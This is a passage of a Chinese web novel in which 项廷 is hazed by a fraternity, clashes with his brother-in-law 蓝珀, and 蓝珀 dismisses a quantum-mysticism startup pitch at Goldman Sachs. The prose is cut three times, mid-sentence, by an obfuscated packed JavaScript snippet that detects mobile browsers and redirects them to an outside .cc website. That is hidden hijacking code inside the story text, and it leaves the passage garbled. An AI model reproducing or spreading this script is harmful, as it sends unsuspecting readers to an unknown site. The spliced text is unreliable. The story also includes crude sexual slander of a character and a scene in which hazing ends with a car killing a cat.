拉拉队的姑娘们都想要他的电话号码,但又感觉他是每根头发丝都有女朋友的那种人。世界上却没第二个人知道,就在昨夜,他的初恋死去了,不能再活。有的姑娘大胆出手,项廷就装作听不懂英语,礼貌点点头而已。项廷认识的很多华裔,把外娶当作人生理想。项廷却鄙视这些认洋为宗,洋言为旨,自驯为西方意识形态的包衣奴才们。缺少了东方的古典和婉约的女孩,项廷一点儿也欣赏不来。娶个洋媳妇就是光宗耀祖了?没本事,更没见识。就是那夜那乐佩公主才是宣扬国威的美貌,彰显中国国力的外扩呢。 项廷给自己的想法弄得一呆,在众目睽睽之下陷入了一种绝望。白希利挽住他宣誓主权,项廷嫌热一把扬开了。白希利也不臊,眼睛滴溜溜的左右看,大声地说:“月底我们有个舞会,你当我的舞伴!” 又是舞会,项廷现在听到这词就犯尴尬。 项廷说:“我又不是你学校的。” 白希利说:“我说你是你就是。” 项廷说:“我不会跳舞。” 白希利说:“就是一起吃吃喝喝!” 白希利正见招拆招着,头上笼罩一团阴影。 凯林的脸黑得像个茄子。旁边一个戴着□□镜、留着爆炸头的善良黑人同学,看出来校霸要滋事,只是劝一句,就被凯林扔在了地上,眼镜稀碎。白希利包夹防守。项廷继续不懂英语,转身径直去了更衣室。 更衣室没几个人,一安静下来,不幸,他就有大把时间胡思乱想。项廷希望这有个游泳池,他要跳下去败败火。 项廷一只手一把把球衣扯了,还光着上半身就给蓝珀回电话。连着打了三个,蓝珀才接了。 项廷莽直:“找我,有事吗?” 蓝珀诚实:“姐夫和你吃饭呀。” 项廷不信:“你,找我吃饭?” 蓝珀笑了:“不吃饭的话,你猜我们还能做什么呢?” 项廷无话可说。蓝珀说话一直都是这样恰到好处的,哪怕不笑时的声音也让人心里挠挠的。项廷听得脑子里跟有小电钻一样刺啦刺啦的,没头没尾地说:“我在学校,你来吗?” 他的本意是,午饭没吃上,那晚饭一块在学校食堂解决了。蓝珀却用他那种特别招牌的、尤其喜欢大惊小怪的口吻:“我来做什么呢?开家长会吗?” 蓝珀像在等小孩,气得大骂最讨厌爸爸了。两边都沉默了一会儿,蓝珀先开了口:“我就是怎么吃都可以啊,地址发给我。对哦,你怎么去学校了?” “……打球。” “好棒呀,我以为你那点运动量全在睡觉的时候蹬被子了。” “……” “不爱说话吗,可是昨天晚上满屋里就只是你磨牙。” “蓝珀!” “叫姐夫。” “……有意思吗?” “玩你太有意思了。”蓝珀伸着手指,玩玩指甲。 “玩够了吗?” “还没玩什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398223|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么够?” “……蓝珀。” “姐夫在的,可还有半分钟就不在了。赏你说最后一句话的机会,不用客气的。”蓝珀看看手表。 “你——”项廷感觉把话说急了,又把话咽回去。 “嗯?”蓝珀的温柔,就像半夜小孩醒了,妈妈问要不要嘘嘘。 “你今天穿的什么衣服!” 项廷的意思是,蓝珀要来学校,得确认一下他今天什么性别。是女的就不见,可男的又很讨厌。 难得把蓝珀卡壳了一下。这时费曼来敲他的门,开会五分钟了,几十号人等一个蓝珀,沙曼莎根本叫不动。 “我有点忘记了。”四下没有镜子,蓝珀说,“交给你了,费曼。今天的我,从内到外,好好地检查,一个小细节都不要放过。” 白希利去买个冰可乐的功夫,项廷就不见了。找到更衣室,只见他直在那儿,应该没在打电话,但是抓着个手机,手臂上的筋都鼓出来了。 项廷突然转过身,说:“麦当劳的美国总裁,能让我见一面吗?我想把麦当劳开到中国去。我在北京有人,这事能成。” 白希利吃惊,这事居然这么大,可当时自己只是吹吹啊?认识是认识,他是认识那个总裁——的儿子。 白希利竖起大拇指,向身后一指。凯林正朝这边来了。白希利心虚地想逃:“就是他!他爸爸,你找他爸爸!” 项廷本来做好了起码碰壁十次的准备,为了说服国内的兄弟们干,不要有畏难情绪,项廷说美国就是个巨大的县城,咱们跟开一家沙县小吃店一样简单。然而眼下他只感觉莫大的荒谬,麦当劳总裁之子,就这个?有头无脑的傻大个? 傻大个来把白希利掳走,参加晚上兄弟会的聚餐。 为着人情世故的缘故,项廷问他能不能加入。 席间,凯林多次公然开战,项廷屡屡避让,白希利很不得劲。凯林往项廷嘴里插了支漏斗,就这么粗暴地灌他喝酒。项廷多听少说,这就渐渐明白了为什么美国人都在高中阶段丧失了部分大脑功能。 喝酒,伏特加、啤酒、红的白的混在一块喝,喝完还要进行勇气测试,在大街上裸奔、在碎玻璃上做俯卧撑、偷工地上的水泥冲澡、举着砖头背圣经,一群赤裸上身的男孩蒙眼搭肩,列队行走,证明一种朋友间的门当户对。最后他们开着车去撞人,人没撞到,死了只猫,脑袋都轧开花了,眼球掉出来还是完整的。 项廷一直不说话,白希利以为他玩得不开心,就找话题,发现说蓝珀他才有反应,就狂说蓝珀,而且马不停蹄地往下三路走。首先定个调子,蓝珀驭男无数。他是华尔街的粉头娼/妓,性/服务了整个曼哈顿,上班的内容就是帮上司用嘴放烟花,下了班连报童牛奶工也勾引。他的屁股是只聚宝盆,只要撅起屁股,钱就哗啦啦的流进来了,等等等等,不堪入耳。这让项廷在躲着姐夫的情况下,姐夫也无处不在。 项廷问他:“你一定要说吗?”屡劝不改,白希利撅嘴:“你不爱听呀?那你走吧!蓝珀现在正开着车到财政部的大官家里头去卖,他少踩一脚油门你创业的钱就来了。”项廷只觉得白希利像只油光水滑的大老鼠,真想把他摁回下水道里。可满桌子的权贵子弟谁好得罪,项廷说:“那你用英语说吧。” 本来指望英文自己能屏蔽,谁知一换语言,整个兄弟会都加入臧否的队伍里来了。不是蓝珀太有名,是白希利是这里的领袖人物,大家都顺着他的话说,同仇敌忾而已。 白希利说了一晚上腮帮子疼,往后一倒,歇一歇再战。凯林以为白希利去厕所了,酒后吐了真言。大意说他对那个狂浪的交际花才是真的垂涎,白希利?可爱在性感面前不值一提!白希利小小的力气掀掉了桌子,一片混战。废墟之上,白希利气喘喘地问项廷怎么看,自己的屁股是不是最好看的。项廷觉得不经之谈,屁股?男人的屁股有什么用?大家哄堂大笑,一哄而起,摁着项廷的头看了一夜的同志色情片。 通过了兄弟会的入会考验,黎明时分,项廷浑浑噩噩地回到自己的家。地下室的门是敞着的,自己加固的十几根铁条全断了散在地上。 遭贼了。早上去唐人街送了一万块,大家都发现他不可同日而语了,有人就眼红了。好在家里没多少现金,但是蓝珀给的支票被偷走了。地上摆着一个很大的沙盘也被毁了,那是项廷唯一的奢侈爱好,模拟打仗。和平年代没有仗打,纸上谈兵还不行吗?现在好了,坦克和火炮模型都没了。 最后的发泄暴力的手段也被剥夺了。项廷报了警,躺在床上。按理说,他应该困得睁不开眼睛,可是目光炯炯,毫无倦意。邪火在身体里窜,窜,越窜越高。 又是被蓝珀“霸占”的一天,项廷不把他从脑袋里甩走,怎么睡得着?可是今天没有见到蓝珀,一不小心便会繁衍出想象来。 是那种唆使犯罪的口吻,连带空气也犹如蜘蛛行于蛛网的震颤,记得蓝珀说,他穿了不太尖圆圆的尖领衬衫,插花眼处有一根细细的纯银驳头链。蓝珀还说,绅士们讲究西裤的裤腿到脚踝处,但是请你不要担心我坐下裤脚就会被吊起,不雅观地露出来小腿,因为我大腿上的衬衫夹,两头夹在衬衫上,单头夹在精梳羊毛的正装袜上…… 项廷闭着眼,想得,手指麻麻的。 因为听上去,那尽是一撕就碎,一扯就坏的。 37. 笑尔避色如避仇 接下来的一段时间里,项廷充当了兄弟会的公用书童。 他请店长给自己排了一个月的夜班,每天大早上麦当劳交班之后,他一身是汗,却要赶赴霍瑞斯曼高中五分钟后的第一节课,和一群浑身芬芳的小姐少爷坐在一起,似乎显得疲于奔命又粗鲁邋遢。 可能是项廷的邋遢让凯林放下戒心,他能放松地跟项廷讨论鼻毛一类的话题,但是一旦说到把他引荐给总裁父亲见面,两米的巨人就开始犹抱琵琶了。好像一讲到这个,我俩语言便不怎么通,项廷刚才说的一大串都成了水泡,“咕嘟咕嘟”欢快地从水里冒出来,然后飘走了。 项廷心急也没有用,又想,能否从白希利身上寻找一些突破口、找到一线生机?据观察,白希利经常比他还早到——每天早上图书馆门口都挤满了学生,不辞辛苦地等待开门。门开后没人去看书,而是冲到公告栏前看有没有贴出一张纸,那张纸上印着当天缺席的老师姓名,名单时长时短,有时只寥寥几个,有时要垂到边上去了,平均每天都要有六七位老师缺席。白希利怀着满腔的期待检查名单,像考试放榜,有人欢喜有人忧。凯林则很少去排队看名单,并非不关心,而是想留点希望在心里,心想说不定下堂课外面就挂着取消通知呢,何谓惊喜,是谓惊喜。 项廷就这样带着极强的功利性质,泡了一个月时间的化学公式、细胞结构和莎士比亚戏剧。物理课一转眼就学到核能那块了,学习了裂变、聚变,他在课上当时应该是被阿尔法、伽玛、粒子这些名目唬住了,下课后回想其实没有那样难于登天。核能之后是有机化学,有机化学之后是最最基本的量子物理理论,不过学这个不求甚解,记住能用就行,把这一切与光谱和电子的轨道联系起来,画出花瓣似的三维图像。总之,真正的精髓只学了个皮毛,但是完全够用。 不管是什么课,两三天就要来一次小测验,总分不超过二三十分,题目稀疏,巴掌大的试卷上只写着一两个算式。白希利如临大敌,看那每个字都暗藏杀机,一交卷就抱怨什么大学生都学不下这些东西云云。凯林更是云里雾里,有的时候连题都看不明白,好像在书本上都有涉及,但在试卷上稍一变形,凯林就不怎么认识它们的面目了,比项廷还像个外国人。 二人想要与项廷共进退,项廷却早已遥遥领先。项廷下了课就去哥伦比亚大学修设备,耳听八方,求知若渴地汲取着大学的数理化,看高中可不小儿科么?但是项廷不傻,自然藏拙,把考试分数控制在一个烘云托月的水平。然而有一次考试全军覆没,班里大多数人攀爬在及格线上下时,项廷竟然拿到惊艳的高分——他只是稳定那个分罢了。一次的麻痹大意,昔日的难兄难弟都在一日之间不跟他好了。 中午,食堂顶上挂着几十面混杂的世界各国国旗,国旗下面的学生们按肤色种族各就各位。项廷一向遗世独立地从家里带饭,他不喜欢吃白人饭,这东西那吃完以后腹中冰凉,有种不明自己究竟是饱了还是没饱的空虚感。学校还供应一种似是而非的中餐,将纯肉馅的速冻水饺煎熟,抓一把生菜叶子,再拉花似地淋上一种甜辣的“四川酱”,吸引到了一大波人。 墨西哥卷必须速战速决,否则纸底被酱料洇透后会淌一桌子。可是项廷刚坐下来,麻烦就来了。 凯林认为插班优等生项廷不可原谅,前来下战书:“上次被你掏了屁股,我根本没当回事儿。那只是热身的训练赛,别太得意忘形了!下周三的联赛,你敢接招吗?我看你还能不能这么嚣张!” 项廷赶时间,果汁被冻成了硬邦邦的方块,他用吸管将其直接戳成冰沙吞了,把剩下的半包薯条都倒进嘴里,然后说:“我赢了,能见你爸吗?” 凯林说:“准备迎接真正的战斗吧!” 凯林不置可否,项廷眼下也别无他法,便在凯林伸出的拳头上碰了一下。此事全校师生当天下午就都知道了,有的职工也参与到买定离手的队伍中来。 距离华山论剑还有一个礼拜,凯林就像武侠小说里的“武痴”一样,睡觉手里也要抱个球。项廷就没那个功夫了,为了补支票被偷了的窟窿,天天打工跑江湖,三百六十行都做了一遍不说,隔三差五,还得给蓝珀上门做家政。 但是项廷挑的时机都很好,每次事先确认了蓝珀不在家,他才去。一连很久见不着蓝珀,庆幸他那张鲜明的脸也失了色,偶尔想到,蓝珀总是一副挑着鼻子挑着眼,神经过敏小题大做的样子,说不出是喜是嗔,但是浓妆淡抹总相宜。项廷一感到想象令周遭也变得香喷喷的,他就告诫自己一切的甜美都是信不得的。遏制了邪恶活水的源头,又脱敏训练了半个月,他自信他的高烧不再复发,出院! 这天晚上,项廷钥匙插进门孔里,刚要拧开时,蓝珀家的门自己开了。出来迎接的居然是那天拜托自己送蛋糕的客人。虽然知道姐夫在外面搞三搞四的,眼前的男人却没有一点奸夫该有的样子,非常地正大光明。 何崇玉惠风和畅地笑道:“欢迎,请进。蓝,我们来了一位客人。” 项廷想说搞错了,搞错了,这个时间点不是说家里没人吗?奈何何崇玉盛邀,此人有一股不谙世故的热肠,仿佛这世上都是安琪儿,大家生来就是为了歌颂万福玛利亚的。 在玄关换了鞋,进来客厅,看到蓝珀像一个骨头被抽掉的人,歪在沙发上。 prom上项廷见到一大溜极尽鲜艳之能事的拖地长裙,或粉红或亮黄,胸部都开得很低,裙摆钉满亮片,像圣诞灯饰。项廷刚刚摆脱了对世间堂皇之物的俗念,今天的蓝珀却一身素白,空洞清纯,小龙女似得。 何崇玉倒了一杯热茶,给项廷暖暖手。项廷双手接过来,坐那儿。家里这么多人,厨房现在占着,项廷也不好上手收拾。 也不知道是对 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何崇玉初为人父便一下拥有了两个大小子,亲子教育全凭直觉,家里的爱按闹分配。二儿子不说话,但能吃能睡,医生却说入口即化食品伤智力,小儿饮食须软硬皆施,何崇玉立即就给二儿子安排上了漏食器、慢食碗。父爱总在意想不到的地方过剩,二儿子一天比一天更彰显出非人的沉默。 何崇玉说:“蓝,过来吃一点吧,喝一口汤也是对胃好的。” 蓝珀闻言走过来,点点头:“也是,我是不饿,但是肚子里的宝宝饿了。” 项廷惊悚,咬着块红烧肉,头就抬了起来。 何崇玉又是劝和:“孩子总会有的。” 蓝珀慨然:“真的,我也想有人叫我声爸爸啊。” 喝掉小半碗汤,蓝珀去书房接了个电话。他一回来,项廷就站起来去修阳台坏掉的热水器。 蓝珀见何崇玉很乐呵的样子:“你这是。” 何崇玉便分享他的购物心得。说蓝珀走开的那会儿,项廷给他推销了一款加护膝的婴儿服装,何崇玉欣然下单,买空了库存。 蓝珀听了也不评价,转身要去浴室(他饭前饭后都要洗澡)。何崇玉叫住他:“你的汤不喝了吗?” 蓝珀说:“含水量太高。” 何崇玉便向他解释,自己绝非冲动消费。他用唱诗班的神情,说项廷是磁石般的人物,引人注意的外表、洪亮嗓音以及充沛的活力,让他在一众销售人员中脱颖而出。项廷向自己描绘了一个没有内置护膝婴儿就不会快乐的世界,他引领着自己去用心体验观摩孩子爬行的模样;他面带笑容地说,这些衣服会让孩子更爱你。而他代理产品的宣传口号是:孩子们不能告诉你,不代表他们就不疼。 言罢,如获至宝的何崇玉,去摸儿子的头。儿子走开了。 蓝珀走到阳台,项廷双膝着地趴在地上,大半个上身伸在水槽下方的柜子里,如火如荼地在修水管。 项廷没发现后头有人来了。而蓝珀想到他近日的所作所为,气得有点心律不齐,盯了会儿,以为自己的心态已经平和到无敌了,还是朝着小舅子的屁股,瓷瓷实实,踢了一脚。 38. 忿速娇语若连琐 项廷正修到紧要关头,这时要是一松开手,探出头去,大水直接决堤,阳台乃至客厅顿成泽国。 于是项廷按兵不动,调动了十八年培养起来的好修养以不变应万变。在蓝珀看来,好好的一个血气方刚的大男孩,多日不见,竟变成了一个缩着头的鹌鹑,瞧你这副熊样! “死了吗?”蓝珀踩上了他的腰,一点点施力,“我有说过让你死吗?” 项廷一只手捂着阀门,一只手向后抓住姐夫的脚踝:“放尊重点!” 蓝珀说:“要别人多尊重你,首先要有自尊。有多少尊严就来自于你把尊严放在第几位,当惯了马仔,还指望有尊严?天天捡别人剩下的,尊严被狗吃了?一天天点头哈腰,马屁拍得山响,谁会正眼瞧你?尊严早被自己败光了!一个男人,立身之基立业之本没攒下多少,就把给人当奴才的规矩学得七七八八?当狗也要跟上对的人!” “你跟踪我,蓝珀,你又跟踪我?” “既然你摆明了没有气性,是软柿子,那我也不是不可以捏上一捏吧?” “我的事用不着你管。” 蓝珀以貌似某个大人物的抿嘴微笑掩盖自己的不耐烦:“我只是告诉你,别人兜里的钱没那么好赚。你觉得摇摇尾巴就能上了牌桌了?圈子可不是靠混进去的。不好意思,这里是成年人的世界,别做一些毫无意义的事还给自己累够呛。” “你在自我介绍?兄弟会和共/济会有区别?” 蓝珀这儿怔了一下,脸色全变了:“我本来就不会是那种长命百岁的人。但起码我是真小人,你咬我。” 咚咚,这时,何崇玉敲了敲门。阳台的厚玻璃门关得紧紧的,外面发生了什么他一概不知,但是空气为什么有搓出火星子的感觉了?何崇玉想出去看看,可是蓝珀的神色让他猛然想到自己的老婆,老婆清高知书达理,一开口就爱隐形攻击。何崇玉把手一背,空踱几步。儿子捡纸飞机经过,带着何崇玉走开了。 蓝珀绝不让话掉在地上,一个电话就要让项廷登上霍瑞斯曼高中的黑名单,从此杜绝那帮狐朋狗友。项廷呢,心如止水地修水管,怎么说他,他也很皮实的样子。只是默默地换了个姿势,从趴着变成了躺着,像钻到车底修车那样,死得挺挺的。温水煮青蛙,谁急谁王八。 “他们至少讲理,不搞人身攻击。”还怕蓝珀听不懂似得,项廷补充,“以为人人都是你么。” 蓝珀闻言非常惊奇,关掉手机,坐下来,摆事实讲道理:“饭可以乱吃,话不能乱说,姐夫可没有跟你一起寻求一些成年人往往才会寻求的刺激吧?” 前日全美超模大赛正式拉开帷幕,其预选赛在兄弟会内部进行。蓝珀请的私家侦探一到事发酒店,隔着门,房间里那种难闻而刺激的畜生的气息就钻进了他鼻子里。门内的项廷麻木地听着大家哞哞直叫,吼吼哈嘿,尤其白希利经常性突然地大叫起来,很短促,很尖锐,像正在被宰杀。项廷悟到,原来诸位都不是稳定的同性恋,这里是美国,谁都不会对哪一个人,甚至是哪种性别忠贞不贰。白希利发觉把他丢在那儿不管不问真是太欺负人了,破例让他尝一道头菜,项廷却完全没有一点男人的担当。赛前他前前后后、左左右右地支持后勤,赛后他负责将佳丽送回家,连日披星戴月。坐牢三五年,貂蝉变母猪。蓝珀骂他学坏,尽学那勾栏样式了。说真的,虽然经历也是很跌宕的,这项廷没太大感觉,只感觉再这样下去他也要患上洁癖了。 于此,项廷也没话说,更多是无可奉告。可好像把蓝珀看作自己一个更年期的小姨子,一旦更年期了,就有了话痨的权利似的,项廷尊重他。蓝珀便踩上了他的小腹,腹肌紧张时如钢铁,放松时像猫肚子,现在它就像汽车过的那个减速带。蓝珀非要把凹凸不平踩平了似得,像要把他臃肿的自尊心踩走。一深一浅的十分优美,真正的仙人之姿,却给项廷踩出了某种腹语的回答。 柜子里空间小,项廷没有空余的手,只能把钳子咬在嘴里,差点吐了出来:“我刚吃过饭!” “你应该多吃点,补一补。”蓝珀往小腹中间,那难言的偏下一点,轻轻地一点、一碾,不过很快就沿着那条人鱼线滑走,“千万别玩废了、致残了。” “你放心,这我来你家吃的最后一顿。” “我理解,人是可以靠大□活下去的。” “大□早就合法化了!”项廷发现自己毫无隐私。 “在哪里?大清吗?” 项廷说不过他。但他觉得正是因为蓝珀在经济问题上过硬,他才敢抬头挺胸说话,逮到机会就把自己贬得一无是处。从见面就是,搞不懂犯了他什么太岁了,要受这种罪。想不通不想了,总之自己一定要出人头地,人一牛逼,全世界和颜悦色。在激励他奋斗的这件事上,姐夫真是灯塔/国的灯塔。但论做男人这一点上,项廷拒绝向姐夫看齐。他身上有好多雌激素。 项廷说:“你杀了我吧,我你杀得死吗?” 蓝珀笑了,就是他平常故作惊讶地对每一句有聊无聊的废话加以评论的那种笑。 “姐夫不杀你,姐夫救救你。”蓝珀叹了口气,“你这样的,出门遇到粘鼠板都是一劫。实在不行就回家,姐夫的工资林林总总加起来小康还偏上一点的,就养你一个还养不起吗?” 蓝珀坐着,身体前倾弯下腰来。项廷的腰上忽然一冰。蓝珀居然在他的皮带和裤腰之间,塞了一张名片。名片何人?就是他梦寐以求不得一见的麦当劳总裁。梦想一瞬成了真,令人担心是不是吃饱了饭,有点神智不清。 “姐夫的朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398225|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,就是你的朋友。”大买主财神爷的朋友,蓝珀多不胜数。快餐店的总裁恐怕排不上号,美联储主席也要往后站站。 项廷需要吗?项廷太需要了,他巴不得把名片捧过来亲。可是出自蓝珀之手,一切顿时龌龊可鄙了起来。接受了他的“好意”,那不是被他直接从根上矮化固定了,一辈子都抬不起头来了?乞人尚不受嗟来之食! 项廷:“你有病。” 蓝珀一点也不恼:“叫声姐夫百病全消。” 今晚的这一脚算真是踢到铁板上了。项廷完了工,站起来,二话不说抽出那张万金不换的名片来,原封不动地塞回了蓝珀那儿。但他塞的地方不是手,而是礼尚往来,还到了蓝珀的睡衣的胸袋里。名片的浮雕勾花了蕾丝,名片上凹印刁钻地摩擦得人栗栗的一激灵。连精美的锁骨也一瞬之间抽紧了,项廷看它倒像哨兵似的横亘在那儿,似乎在抵抗外敌的深入,看得可笑,项廷把名片插得更深。 何崇玉听到门打开,刷拉一声巨响,就知道大事不好了。项廷见到外人就不说了,蓝珀却还不停下来:“既然都要折磨了,那就互相折磨啊。”何崇玉就劝项廷:“他说话难听,但他不会害你。”像人家去上香,不僧不道的跟在后面说施主摇支签吧,我们庙的菩萨是很灵的。项廷不摇,何崇玉此处也不便说什么了,唯有送去祝福。看到项廷绷着街头霸王般的脸孔,竟然敢忤逆蓝珀,给蓝珀找不痛快,何崇玉不禁又高看了他一眼。项廷道了声谢谢款待以后就走了,何崇玉目送着心里还很惋惜,他这个人向来是离自己越远的东西,越能感受到比较大的共鸣,是个染有香菱之癖的文学中年。 何崇玉转而安慰好友:“你不要生气,年纪小实话多。” 蓝珀说:“生气也没有用,就像傻瓜你就不能恨他怎么不聪明。” 项廷走了,门敞着,蓝珀一直没去关上。对门的邻居遛狗回来了。主人的手刚伸出去给他摘绳,他头一甩就下来了。原来狗戴着绳真的只是哄主人开心。蓝珀回到阳台,看到柜子上的扳手的握把上,项廷甚至咬下了两排复仇的齿痕。他就这么样讨厌自己么? 蓝珀感到精疲力尽,去洗个澡开心开心。脆弱地泡在水中,还是百思不解,怎么会有这种小笨蛋呢。项廷与小时候那会变了太多,可又像什么都没变,否则自己之前也不会试试看的心态丢了一块手帕。大不了再丢一块?罢了罢了,有什么意义呢!让他想起自己来,就这么一个小小的时隐时现的愿望,实现起来竟然那么难那么难。 澡泡得困了,晕晕的,忽想到项廷扔那名片时,这小子是不是香港古惑仔电影看多了?学得有模有样,眼里有光嘴在坏笑,耍酷拉风得就差跨上六只眼的大摩托了。蓝珀嘁一声笑了,发梢一宛甜香的水痕,顺着鼻尖滑落到了唇边。 39. 玉钩鸾柱调鹦鹉 过了一个礼拜。项廷践行了他临走时放的狠话,再没有上门来。家政公司给蓝珀道歉,说换一个服务人员,蓝珀表示不需要。 这天上班,沙曼莎来说,费曼在审核一个项目,要蓝珀过去把把关。虽然高盛以运作IPO,而不是天使投资闻名,但它确实有一个部门,负责将客户的资金用于早期的创业公司。初创公司得到高盛的青睐,仅凭高盛的名号就能打通其他无数的门路。 蓝珀一去,发现会议室里尽是抽象语言。来人是斯坦福大学的物理学教授,以及他的助理教授与两名博士生。他们合伙开了一个公司,叫“有裂缝的宇宙蛋”。 看到蓝珀在门口,费曼说:“蓝,请坐下。卡茨教授是纯理论科学机构的资深科学家。” 同行的博士生捧哏:“教授是探索活在量子宇宙中对我们意味着什么的先驱。” 卡茨教授接着推销:“非定域性意味着事物看似分离,实则并未分离。我们的一部分超越了此时此地,使我们能够穿梭时空。换句话说,我们的物理存在并不局限于皮肤和头发。这个领域就是连结宇宙的量子网,它是维系万物、治愈身体、维护和平的微观能量蓝图。要领悟真正的力量,我们必须了解这个领域及其波动和能量微粒的运作方式……” 蓝珀往左边倾了倾身体,低声和费曼说:“所以我们的宝贝是什么?时空穿梭机?还是《星际迷航》要出新片了?” 费曼说:“能否再向我的同事展示一次?” “这是当然。” 只见卡茨教授取出一只点火枪一样的东西,就跟蓝珀平常在家点燃香薰蜡烛,用的那种迷你的差不多。 按下按钮,咔哒一声,眼前凭空出现了一幅幅活动的立体绘画:金鱼的尾鳍轻轻摆动,仿佛真的在水中蹁跹起舞;银闪闪的大蝴蝶每一次振翅都像掀起了微风,翅膀的细腻纹理纤毫毕现。光影逼真得让人想伸手去触碰。蓝珀也真的去碰了,蝴蝶停在了他的指尖,宛若吸食着花蜜。这一切便愈□□缈美丽。 助理教授说:“1972年,我们依靠光学陷阱显示技术制作了世界上第一张全息图。现在,如您所见,我们无需任何介质,通过激光加热空气分子使其电离,制造出用之不竭的等离子体。简单来说,实现了凭空成像。” 卡茨教授却说:“你的说法不够准确,我们利用了光子,而光子完全是存在主观意识地进行了这种排布。” 眼见话题又朝着玄学的方向去了,蓝珀说:“这个,我能买一个吗?给我的小孩玩。” 教授关掉了“点火器”,表示技术还在高度保密阶段,样品不能随意流出。接下来,教授播放了一段修改后的双缝干涉实验录像。一个光子被发射到目标屏,但在到达前必须穿过开缝挡板。神奇的是,光子“知道”挡板上有几条缝。当只有一条缝时,光子以粒子形式射出,直接到达目的地;而在双缝情况下,光子以粒子形态出发,却以能量波形式穿越双缝,在目标屏上形成干涉条纹。这表明,实验操作者对缝的数量知情,在某种程度上影响了光子的行为。 然后他们掏出一个辐射计,像电灯泡,近乎真空的内部悬挂着一个可以活动的风向标。当光接触这个风向标的表面时,它旋转起来。辐射计放在一个位于光源下的平台上,大家尽情地欣赏风向标的转动。 卡茨教授说:“先生,你不需要去控制顶上的那个光源,你可以用你的意念来让这个风向标停止转动。” 蓝珀把手搭在唇边,是一个随时准备打呵欠的姿势。 费曼看了一眼时间,说:“蓝,有没有问题?” “大开眼界。看上去,量子物理学将科学家和唯心主义者拉拢到了一起。”蓝珀露出挑战的笑容,“所以下一个议题是什么,总不会是在东京的一只蝴蝶扇动一下翅膀,一个月后就能在巴西引发一场飓风,这种陈词滥调吧?” 卡茨教授说:“是1914年费迪南大公的司机转错弯的事,费迪南大公的死最终触发了第一次世界大战。这一切仅起因于一个我们随时可能犯下的小错。我认为我们应该把更多的注意力集中到历史,和自身的经验上。不要被今天仍然在科学界和媒体中占据主导地位的教条主义、机械论和唯物主义的观点给吓到了。在认知上进化,你不仅需要准备一个辐射计、一个光源,最需要的是一个开阔的心胸。” 投资人和被投资方应该是互相帮助的关系,但今天蓝珀一进门就没表现出足够的尊重。被卡茨教授指出来后,蓝珀也不解释清楚,只是叹了口气,话留了一半在心里。 蓝珀说:“Anyway,我要下班了。” 沙曼莎惊呼:“现在下午两点钟!” 蓝珀说:“哦,在我进入‘出神体验’期间,可以飞到任何遥远的地方去。 ” 也许是引起了卡茨教授的共鸣,也可能是他单纯地想缓和一下关系:“请留一下,先生。听说你是苗族人,我对你们的巫术、神谕和魔法非常感兴趣,我们的科学仪器尚无法检测到如此精微的能量场,但是你们或许早已做到了。” 蓝珀都出会议室的门了,又折回来:“我们先不谈生意。你刚刚讲的都是什么东西?谁能讲个有节操的笑话?一定要聊这个深入又敏感的种族话题吗?” 蓝珀陡然扭过脸,质问费曼:“谁告诉他的,你吗?” 卡茨教授说:“并非赫尔南德斯先生。1988年春天,我趁着做研究和去朝圣的机会,在中国西藏中部的高原上待了42天。一路上,我们参观了12个僧寺和2个尼姑庵,还遇到了很多难忘的人,喇嘛、尼姑、游牧民和朝圣者。在这期间,我还和一个寺院的住持有了珍贵的交流,后来,这位住持也来到了美国……” 蓝珀:“哦,白韦德。” 卡茨教授点点头:“韦德先生是斯坦福研究中心认知科学项目的共同建立者,并创立了SCANATE‘坐标扫描’工程,成为斯坦福研究中心著名的遥视研究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398226|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的前身之一。他是一位德高望重的先知……” “底牌都亮出来了,牌局也就该结束了。”蓝珀招呼也不打,走了。 蓝珀回办公室收拾东西。门外的脚步声辨识度很高,在走廊混杂的步履声中显得坚定又古板,隔着很远就能听出来。 费曼来了,沙曼莎不情愿地回避,替他们带上了门。 蓝珀坐在高背转椅上,一边把烟斗里的灰敲出来,一边说:“你最好是告诉我你周末被外星科技夺舍了,我才能接受自己为何要浪费两小时听这种科幻小说的内容。” “你是投委会的成员,应当审核每个项目。”费曼沉静道,停了停说,“冒犯了你,我很抱歉。” “那么投委会的主席,你是去审核项目的吗?你真心觉得他们的把戏有戏吗?第一,你是个不折不扣的数学天才,门萨俱乐部准入级别的智商,凭直觉就能心算出投资的收益率。你不需要看数据,就能立即明白别人向你推销的项目前景如何。第二,你的眼睛见过一万多笔交易,年复一年地审视着千百个提案,一笔一笔轧一遍,你听过无数人的夸夸其谈,他们试图把天吹上去,但你总能一一识破其中的漏洞。最后,费曼,你内外都铁石心肠,平心而论,你真的会让他们进高盛的门吗?” 